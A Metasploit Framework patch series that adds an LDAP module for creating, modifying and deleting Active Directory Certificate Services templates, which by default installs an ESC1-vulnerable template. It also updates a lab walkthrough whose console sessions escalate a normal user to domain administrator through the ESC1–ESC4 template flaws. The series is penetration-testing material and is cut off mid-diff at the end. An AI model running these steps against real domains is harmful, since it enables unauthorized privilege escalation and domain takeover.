Spencer McIntyre Date: Thu, 4 May 2023 09:17:16 -0400 Subject: [PATCH 170/415] Add module for AD CS template CRUD operations --- .../admin/ldap/ad_cs_cert_template.rb | 434 ++++++++++++++++++ 1 file changed, 434 insertions(+) create mode 100644 modules/auxiliary/admin/ldap/ad_cs_cert_template.rb diff --git a/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb b/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb new file mode 100644 index 0000000000000..f574a72bf0a54 --- /dev/null +++ b/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb @@ -0,0 +1,434 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::LDAP + include Msf::Auxiliary::Report + + IGNORED_ATTRIBUTES = [ + 'dn', + 'distinguishedName', + 'objectClass', + 'cn', + 'whenCreated', + 'whenChanged', + 'name', + 'objectGUID', + 'objectCategory', + 'dSCorePropagationData', + 'msPKI-Cert-Template-OID', + 'uSNCreated', + 'uSNChanged', + 'displayName', + 'instanceType', + 'revision', + 'msPKI-Template-Schema-Version', + 'msPKI-Template-Minor-Revision', + ].freeze + + # LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID + LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze + OWNER_SECURITY_INFORMATION = 0x1 + GROUP_SECURITY_INFORMATION = 0x2 + DACL_SECURITY_INFORMATION = 0x4 + SACL_SECURITY_INFORMATION = 0x8 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'AD CS Certificate Template Management', + 'Description' => %q{ + This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain + Controller. + + The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be + restored using the CREATE or UPDATE actions. + }, + 'Author' => [ + 'Will Schroeder', # original idea/research + 'Lee Christensen', # original idea/research + 'Oliver Lyak', # certipy implementation + 'Spencer McIntyre' + ], + 'References' => [ + [ 'URL', 'https://github.com/GhostPack/Certify' ], + [ 'URL', 'https://github.com/ly4k/Certipy' ] + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + ['CREATE', { 'Description' => 'Create the certificate template' }], + ['READ', { 'Description' => 'Read the certificate template' }], + ['UPDATE', { 'Description' => 'Modify the certificate template' }], + ['DELETE', { 'Description' => 'Delete the certificate template' }] + ], + 'DefaultAction' => 'READ', + 'Notes' => { + 'Stability' => [], + 'SideEffects' => [CONFIG_CHANGES], + 'Reliability' => [] + } + ) + ) + + register_options([ + OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']), + OptString.new('CERT_TEMPLATE', [ true, 'The remote certificate template name', 'User' ]), + OptPath.new('TEMPLATE_FILE', [ false, 'Local template definition file', File.join(::Msf::Config.data_directory, 'auxiliary', 'admin', 'ldap', 'ad_cs_cert_template', 'esc1_template.yaml') ]) + ]) + end + + def ldap_get(filter, attributes: [], base: nil, controls: []) + base ||= @base_dn + raw_obj = @ldap.search(base: base, filter: filter, attributes: attributes, controls: controls).first + validate_query_result!(@ldap.get_operation_result.table) + return nil unless raw_obj + + obj = {} + raw_obj.attribute_names.each do |attr| + obj[attr.to_s] = raw_obj[attr].map(&:to_s) + end + + obj + end + + def run + ldap_connect do |ldap| + validate_bind_success!(ldap) + + if (@base_dn = datastore['BASE_DN']) + print_status("User-specified base DN: #{@base_dn}") + else + print_status('Discovering base DN automatically') + + unless (@base_dn = discover_base_dn(ldap)) + fail_with(Failure::NotFound, "Couldn't discover base DN!") + end + end + @ldap = ldap + + send("action_#{action.name.downcase}") + print_good('The operation completed successfully!') + end + rescue Rex::ConnectionError => e + print_error("#{e.class}: #{e.message}") + rescue Net::LDAP::Error => e + print_error("#{e.class}: #{e.message}") + end + + def get_certificate_template + obj = ldap_get( + "(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pkicertificatetemplate))", + base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}", + controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)] + ) + fail_with(Failure::NotFound, 'The specified template was not found.') unless obj + + print_good("Read certificate template data for: #{obj['dn'].first}") + stored = store_loot( + 'windows.ad.cs.template', + 'application/json', + rhost, + dump_to_json(obj), + "#{datastore['CERT_TEMPLATE'].downcase.gsub(' ', '_')}_template.json", + "#{datastore['CERT_TEMPLATE']} Certificate Template" + ) + print_status("Certificate template data written to: #{stored}") + obj + end + + def get_domain_sid + return @domain_sid if @domain_sid.present? + + obj = ldap_get('(objectClass=domain)', attributes: %w[name objectSID]) + fail_with(Failure::NotFound, 'The domain SID was not found!') unless obj&.fetch('objectsid', nil) + + Rex::Proto::MsDtyp::MsDtypSid.read(obj['objectsid'].first) + end + + def dump_to_json(template) + json = {} + + template.each do |attribute, values| + next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) } + + json[attribute] = values.map do |value| + value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join + end + end + + json.to_json + end + + def load_from_json(json) + template = {} + + JSON.parse(json).each do |attribute, values| + next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) } + + template[attribute] = values.map do |value| + value.scan(/../).map { |x| x.hex.chr }.join + end + end + + template + end + + def load_from_yaml(yaml) + template = {} + + YAML.safe_load(yaml).each do |attribute, value| + next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) } + + if attribute.casecmp?('nTSecurityDescriptor') + unless value.is_a?(String) + fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.') + end + + # if the string only contains printable characters, treat it as SDDL + if value !~ /[^[:print:]]/ + begin + vprint_status("Parsing SDDL text: #{value}") + descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(value, domain_sid: get_domain_sid) + rescue RuntimeError => e + fail_with(Failure::BadConfig, e.message) + end + + value = descriptor.to_binary_s + elsif !value.start_with?("\x01".b) + fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.') + end + end + + value = [ value ] unless value.is_a?(Array) + template[attribute] = value.map(&:to_s) + end + + template + end + + def load_local_template + if datastore['TEMPLATE_FILE'].blank? + fail_with(Failure::BadConfig, 'No local template file was specified in TEMPLATE_FILE.') + end + + unless File.readable?(datastore['TEMPLATE_FILE']) && File.file?(datastore['TEMPLATE_FILE']) + fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a readable file.') + end + + file_data = File.read(datastore['TEMPLATE_FILE']) + if datastore['TEMPLATE_FILE'].downcase.end_with?('.json') + load_from_json(file_data) + elsif datastore['TEMPLATE_FILE'].downcase.end_with?('.yaml') || datastore['TEMPLATE_FILE'].downcase.end_with?('.yml') + load_from_yaml(file_data) + else + fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a JSON or YAML file.') + end + end + + def ms_security_descriptor_control(flags) + control_values = [flags].map(&:to_ber).to_ber_sequence.to_s.to_ber + [LDAP_SERVER_SD_FLAGS_OID.to_ber, control_values].to_ber_sequence + end + + def action_create + dn = "CN=#{datastore['CERT_TEMPLATE']}," + dn << 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,' + dn << @base_dn + + # defaults to create one from the builtin SubCA template + # the nTSecurityDescriptor and objectGUID fields will be set automatically so they can be omitted + attributes = { + 'objectclass' => ['top', 'pKICertificateTemplate'], + 'cn' => datastore['CERT_TEMPLATE'], + 'instancetype' => '4', + 'displayname' => datastore['CERT_TEMPLATE'], + 'usncreated' => '16437', + 'usnchanged' => '16437', + 'showinadvancedviewonly' => 'TRUE', + 'name' => datastore['CERT_TEMPLATE'], + 'flags' => '66257', + 'revision' => '5', + 'objectcategory' => "CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,#{@base_dn}", + 'pkidefaultkeyspec' => '2', + 'pkikeyusage' => "\x86\x00".b, + 'pkimaxissuingdepth' => '-1', + 'pkicriticalextensions' => ['2.5.29.15', '2.5.29.19'], + 'pkiexpirationperiod' => "\x00@\x1E\xA4\xE8e\xFA\xFF".b, + 'pkioverlapperiod' => "\x00\x80\xA6\n\xFF\xDE\xFF\xFF".b, + 'pkidefaultcsps' => '1,Microsoft Enhanced Cryptographic Provider v1.0', + 'dscorepropagationdata' => '16010101000000.0Z', + 'mspki-ra-signature' => '0', + 'mspki-enrollment-flag' => '0', + 'mspki-private-key-flag' => '16', + 'mspki-certificate-name-flag' => '1', + 'mspki-minimal-key-size' => '2048', + 'mspki-template-schema-version' => '1', + 'mspki-template-minor-revision' => '1', + 'mspki-cert-template-oid' => '1.3.6.1.4.1.311.21.8.9238385.12403672.2312086.11590436.9092015.147.1.18' + } + + unless datastore['TEMPLATE_FILE'].blank? + load_local_template.each do |key, value| + key = key.downcase + next if %w[dn distinguishedname objectguid].include?(key) + + attributes[key.downcase] = value + end + end + + # can not contain dn, distinguishedname, or objectguid + print_status("Creating: #{dn}") + @ldap.add(dn: dn, attributes: attributes) + validate_query_result!(@ldap.get_operation_result.table) + end + + def action_delete + obj = get_certificate_template + + @ldap.delete(dn: obj['dn'].first) + validate_query_result!(@ldap.get_operation_result.table) + end + + def action_read + obj = get_certificate_template + + print_status('Certificate Template:') + print_status(" distinguishedName: #{obj['distinguishedname'].first}") + print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].first.present? + if obj['objectguid'].first.present? + object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first) + print_status(" objectGUID: #{object_guid}") + end + + mspki_flag = obj['mspki-certificate-name-flag'].first + if mspki_flag.present? + mspki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L') + print_status(" msPKI-Certificate-Name-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}") + %w[ + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME + CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS + CT_FLAG_SUBJECT_ALT_REQUIRE_SPN + CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID + CT_FLAG_SUBJECT_ALT_REQUIRE_UPN + CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL + CT_FLAG_SUBJECT_ALT_REQUIRE_DNS + CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN + CT_FLAG_SUBJECT_REQUIRE_EMAIL + CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME + CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH + CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME + ].each do |flag_name| + if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0 + print_status(" * #{flag_name}") + end + end + end + + mspki_flag = obj['mspki-enrollment-flag'].first + if mspki_flag.present? + mspki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L') + print_status(" msPKI-Enrollment-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}") + %w[ + CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS + CT_FLAG_PEND_ALL_REQUESTS + CT_FLAG_PUBLISH_TO_KRA_CONTAINER + CT_FLAG_PUBLISH_TO_DS + CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE + CT_FLAG_AUTO_ENROLLMENT + CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT + CT_FLAG_USER_INTERACTION_REQUIRED + CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE + CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF + CT_FLAG_ADD_OCSP_NOCHECK + CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL + CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS + CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS + CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT + CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST + CT_FLAG_SKIP_AUTO_RENEWAL + ].each do |flag_name| + if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0 + print_status(" * #{flag_name}") + end + end + end + + mspki_flag = obj['mspki-private-key-flag'].first + if mspki_flag.present? + mspki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L') + print_status(" msPKI-Private-Key-Flag: 0x#{mspki_flag.to_s(16).rjust(8, '0')}") + %w[ + CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL + CT_FLAG_EXPORTABLE_KEY + CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED + CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM + CT_FLAG_REQUIRE_SAME_KEY_RENEWAL + CT_FLAG_USE_LEGACY_PROVIDER + CT_FLAG_ATTEST_NONE + CT_FLAG_ATTEST_REQUIRED + CT_FLAG_ATTEST_PREFERRED + CT_FLAG_ATTESTATION_WITHOUT_POLICY + CT_FLAG_EK_TRUST_ON_USE + CT_FLAG_EK_VALIDATE_CERT + CT_FLAG_EK_VALIDATE_KEY + CT_FLAG_HELLO_LOGON_KEY + ].each do |flag_name| + if mspki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0 + print_status(" * #{flag_name}") + end + end + end + + mspki_flag = obj['mspki-ra-signature'].first + if mspki_flag.present? + mspki_flag = [obj['mspki-ra-signature'].first.to_i].pack('l').unpack1('L') + print_status(" msPKI-RA-Signature: 0x#{mspki_flag.to_s(16).rjust(8, '0')}") + end + + if obj['pkiextendedkeyusage'].present? + print_status(' pKIExtendedKeyUsage:') + obj['pkiextendedkeyusage'].each do |value| + print_status(" * #{value}") + end + end + end + + def action_update + obj = get_certificate_template + new_configuration = load_local_template + + operations = [] + obj.each do |attribute, value| + next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) } + + if new_configuration.keys.any? { |word| word.casecmp?(attribute) } + new_value = new_configuration.find { |k, _| k.casecmp?(attribute) }.last + unless value.tally == new_value.tally + operations << [:replace, attribute, new_value] + end + else + operations << [:delete, attribute, nil] + end + end + + new_configuration.each_key do |attribute| + next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) } + next if obj.keys.any? { |i| i.casecmp?(attribute) } + + operations << [:add, attribute, new_configuration[attribute]] + end + + if operations.empty? + print_good('There are no changes to be made.') + return + end + + @ldap.modify(dn: obj['dn'].first, operations: operations, controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]) + validate_query_result!(@ldap.get_operation_result.table) + end +end From 0a3247f1a780ef6479f24de645be31f67f8548f6 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 4 May 2023 11:26:18 -0400 Subject: [PATCH 171/415] Add documentation --- .../Attacking-AD-CS-ESC-Vulnerabilities.md | 341 ++++++++++++++---- docs/navigation.rb | 18 +- .../admin/ldap/ad_cs_cert_template.md | 221 ++++++++++++ 3 files changed, 501 insertions(+), 79 deletions(-) create mode 100644 documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md diff --git a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md index 6805bc0a7d437..9283f510ff1d0 100644 --- a/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md +++ b/docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md @@ -2,7 +2,7 @@ Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server for testing purposes. -## Introduction to AD CS Vulnerabilities +# Introduction to AD CS Vulnerabilities ```mermaid flowchart TD escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert] @@ -13,9 +13,10 @@ flowchart TD users[Request certificates on behalf of other users] --> ESC3{{ESC3}} ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos] ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos] + ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr ``` -The chart above showcases how one can go about attacking three common AD CS +The chart above showcases how one can go about attacking four common AD CS vulnerabilities, taking advantage of various flaws in how certificate templates are configured on an Active Directory Certificate Server. @@ -27,20 +28,24 @@ and finally using these certificates to authenticate to the domain as the domain administrator via Kerberos. Each certificate template vulnerability that will be discussed here has a ESC code, such -as ESC1, ESC2, or ESC3. These ESC codes are taken from the original whitepaper that +as ESC1, ESC2. These ESC codes are taken from the original whitepaper that SpecterOps published which popularized these certificate template attacks, known as [Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf). In this paper Will Schroeder and Lee Christensen described 8 different domain escalation attacks that they found they could conduct via misconfigured certificate templates: -- ESC1 - Domain escalation via No Issuance Requirements + Enrollable Client - Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT +- ESC1 - Domain escalation via No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates + + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#using-the-esc1-vulnerability-to-get-a-certificate-as-the-domain-administrator]] - ESC2 - Domain escalation via No Issuance Requirements + Enrollable Any Purpose EKU or no EKU + - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc2-to-gain-domain-administrator-privileges]] - ESC3 - Domain escalation via No Issuance Requirements + Certificate Request Agent EKU + no enrollment agent restrictions + - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc3-to-gain-domain-administrator-privileges]] - ESC4 - Domain escalation via misconfigured certificate template access control + - [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc4-to-gain-domain-administrator-privileges]] - ESC5 - Domain escalation via vulnerable PKI AD Object Access Control - ESC6 - Domain escalation via the EDITF_ATTRIBUTESUBJECTALTNAME2 setting on CAs + No Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templates @@ -68,8 +73,8 @@ post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-servi - ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`. -Currently Metasploit only supports attacking ESC1 to ESC3. As such, -this paper only covers exploiting ESC1 to ESC3 at this time. +Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such, +this page only covers exploiting ESC1 to ESC4 at this time. Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3 as the diagram notes above. This is because in ESC1, one has control over the @@ -91,7 +96,7 @@ certificates that are created using the vulnerable ESC2 certificate template will not work for domain authentication. This restriction does not apply for those certificates vulnerable to ESC2 which have the `Any Purpose` EKU applied to them. -Finally, ESC3 is fairly similar to ESC2, however it differs in two ways: a different EKU +Next, ESC3 is fairly similar to ESC2, however it differs in two ways: a different EKU is abused, and the attacker also needs to utilize two different misconfigured certificate templates in order to exploit the vulnerability. The EKU in question this time is the Certificate Request Agent EKU, aka OID 1.3.6.1.4.1.311.20.2.1, which allows one to enroll @@ -129,6 +134,8 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out which users or groups can use that certificate template to elevate their privileges. +At this time, the module is capable of identifying techniques ESC1 through ESC3. + Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in a specific certificate template, which is applied to the certificate template itself. Therefore, the module will also specify which users are @@ -177,10 +184,10 @@ View the full module info with the info, or info -d command. msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST DOMAIN => DAFOREST -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normal -USERNAME => normal -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normaluser -PASSWORD => normaluser +msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser +USERNAME => normaluser +msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass +PASSWORD => normalpass msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run @@ -300,22 +307,40 @@ msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > ``` -From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However, whilst the issuing CAs allow any authenticated user to enroll in this certificate, the certificate template permissions prevent anyone but Domain Administrators and Enterprise Admins from being able to enroll in this certificate tempalte. At that point you probably don't need to elevate your privileges any higher, so this certificate template isn't that useful for us. +From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However, +whilst the issuing CAs allow any authenticated user to enroll in this certificate, the certificate template permissions +prevent anyone but Domain Administrators and Enterprise Admins from being able to enroll in this certificate template. +At that point you probably don't need to elevate your privileges any higher, so this certificate template isn't that +useful for us. -Moving onto the next certificate template we see that ESC1-Template is vulnerable to the ESC1 attack, has permissions on the template itself that allow for enrollment by any authenticated domain user, and has one issuing CA, daforest-WIN-BR0CCBA815B-CA, available at WIN-BR0CCBA815B.daforest.com, which allows enrollment by any authenticated user. This means that any user who is authenticated to the domain can utilize this template with a ESC1 attack to elevate their privileges. +Moving onto the next certificate template we see that ESC1-Template is vulnerable to the ESC1 attack, has permissions on +the template itself that allow for enrollment by any authenticated domain user, and has one issuing CA, daforest-WIN- +BR0CCBA815B-CA, available at WIN-BR0CCBA815B.daforest.com, which allows enrollment by any authenticated user. This means +that any user who is authenticated to the domain can utilize this template with a ESC1 attack to elevate their +privileges. -Looking at ESC2-Template we can see the same story however this time the template is vulnerable to an ESC2 attack. ESC3-Template1 is also the same but is vulnerable to ESC3_TEMPLATE_1 attacks, and ESC3-Template2 is the same but vulnerable to ESC3_TEMPLATE_2 attacks. +Looking at ESC2-Template we can see the same story however this time the template is vulnerable to an ESC2 attack. +ESC3-Template1 is also the same but is vulnerable to ESC3_TEMPLATE_1 attacks, and ESC3-Template2 is the same but +vulnerable to ESC3_TEMPLATE_2 attacks. -We also see that the User template is vulnerable to ESC3_TEMPLATE_2 attacks and the fact that it is enrollable from Domain Users and that daforest-WIN-BR0CCBA815B-CA allows enrollment in it by any authenticated user confirms the theory that this can be exploited by any authenticated attacker for an ESC3_TEMPLATE_2 attack. +We also see that the User template is vulnerable to ESC3_TEMPLATE_2 attacks and the fact that it is enrollable from +Domain Users and that daforest-WIN-BR0CCBA815B-CA allows enrollment in it by any authenticated user confirms the theory +that this can be exploited by any authenticated attacker for an ESC3_TEMPLATE_2 attack. -Another interesting one to note is the Machine template, which allows any domain joined computer to enroll in it, and who's issuing CA allows any authenticated user to request it. +Another interesting one to note is the Machine template, which allows any domain joined computer to enroll in it, and +who's issuing CA allows any authenticated user to request it. -With this we now have a list of certificates that can be utilized for privilege escalation. The next step is to use the `ipcr_cert` module to request certificates for authentication using the vulnerable certificate templates. +With this we now have a list of certificates that can be utilized for privilege escalation. The next step is to use the +`ipcr_cert` module to request certificates for authentication using the vulnerable certificate templates. -## Using the ESC1 Vulnerability To Get a Certificate as the Domain Administrator -Getting a certificate as the current user is great, but what we really want to do is elevate privileges if we can. Luckly we can also do this with the `icpr_cert` module. We just need to also set the `ALT_UPN` option to specify who we would like to authenticate as instead. Note that this only works with ESC1 vulnerable certificate templates which is why we can do this here. +# Using the ESC1 Vulnerability To Get a Certificate as the Domain Administrator +Getting a certificate as the current user is great, but what we really want to do is elevate privileges if we can. +Luckily we can also do this with the `icpr_cert` module. We just need to also set the `ALT_UPN` option to specify who we +would like to authenticate as instead. Note that this only works with ESC1 vulnerable certificate templates which is why +we can do this here. -If we know the domain name is `daforest.com` and the domain administrator of this domain is named `Administrator` we can quickly set this up: +If we know the domain name is `daforest.com` and the domain administrator of this domain is named `Administrator` we can +quickly set this up: ```msf msf6 > use auxiliary/admin/dcerpc/icpr_cert @@ -327,10 +352,10 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST SMBDomain => DAFOREST -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser -SMBPass => normaluser -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal -SMBUser => normal +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +SMBPass => normalpass +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +SMBUser => normaluser msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com ALT_UPN => Administrator@daforest.com msf6 auxiliary(admin/dcerpc/icpr_cert) > run @@ -368,10 +393,10 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template CERT_TEMPLATE => ESC2-Template msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST SMBDomain => DAFOREST -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser -SMBPass => normaluser -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal -SMBUser => normal +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +SMBPass => normalpass +msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +SMBUser => normaluser msf6 auxiliary(admin/dcerpc/icpr_cert) > show options Module options (auxiliary/admin/dcerpc/icpr_cert): @@ -388,8 +413,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert): ploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain DAFOREST no The Windows domain to use for authentication - SMBPass normaluser no The password for the specified username - SMBUser normal no The username to authenticate as + SMBPass normalpass no The password for the specified username + SMBUser normaluser no The username to authenticate as Auxiliary action: @@ -442,8 +467,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert): ploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain DAFOREST no The Windows domain to use for authentication - SMBPass normaluser no The password for the specified username - SMBUser normal no The username to authenticate as + SMBPass normalpass no The password for the specified username + SMBUser normaluser no The username to authenticate as Auxiliary action: @@ -481,8 +506,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert): tasploit-framework/wiki/Using-Metasploit RPORT 445 yes The target port (TCP) SMBDomain DAFOREST no The Windows domain to use for authentication - SMBPass normaluser no The password for the specified username - SMBUser normal no The username to authenticate as + SMBPass normalpass no The password for the specified username + SMBUser normaluser no The username to authenticate as Auxiliary action: @@ -521,18 +546,27 @@ We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket grant domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information. # Exploiting ESC3 To Gain Domain Administrator Privileges -To exploit ESC3 vulnerable templates we will use a similar process to ESC2 templates but with slightly different steps. First, lets return to the earlier output where we can find several templates that are vulnerable to ESC3 attacks. However we need to split them by attack vector. The reason is that the first half of this attack needs to use the ESC3_TEMPLATE_1 vulnerable certificate templates to enroll in a certificate template that has the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) that allows one to request certificates on behalf of other principals (such as users or computers). - -The second part of this attack will then require that we co-sign requests for another certificate using the certificate that we just got, to then request a certificate that can authenticate to the domain on behalf of another user. To do this we will need to look for certificates in the `ldap_esc_vulnerable_cert_finder` module which are labeled as being vulnerable to the ESC3_TEMPLATE_2 attack. +To exploit ESC3 vulnerable templates we will use a similar process to +[[ESC2|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc2-to-gain-domain-administrator-privileges]] templates but +with slightly different steps. First, let's return to the earlier output where we can find several templates that are +vulnerable to ESC3 attacks. However we need to split them by attack vector. The reason is that the first half of this +attack needs to use the ESC3_TEMPLATE_1 vulnerable certificate templates to enroll in a certificate template that has +the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) that allows one to request certificates on behalf of other +principals (such as users or computers). + +The second part of this attack will then require that we co-sign requests for another certificate using the certificate +that we just got, to then request a certificate that can authenticate to the domain on behalf of another user. To do +this we will need to look for certificates in the `ldap_esc_vulnerable_cert_finder` module which are labeled as being +vulnerable to the ESC3_TEMPLATE_2 attack. The list of ESC3_TEMPLATE_1 vulnerable templates is pretty short and consists of a single template: - ESC3-TEMPLATE-1 - Vulnerable to ESC3_TEMPLATE_1 and allows enrollment via any authenticated domain user. ESC3_TEMPLATE_2 are more plentiful though and we can find a few that are of interest: -- SubCA - Again as mentioned earlier can only be enrolled in by Doman Admins and Enterprise Admins, so not a viable vector. +- SubCA - Again as mentioned earlier can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector. - ESC3-Template2 - Enrollable via any authenticated domain user. - User - Enrollable via any authenticated domain user. -- Administrator - Can only be enrolled in by Doman Admins and Enterprise Admins, so not a viable vector. +- Administrator - Can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector. - Machine - No real overlap between Domain Computers and Authenticated Users I don't think? - DomainController - Can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector. @@ -572,10 +606,10 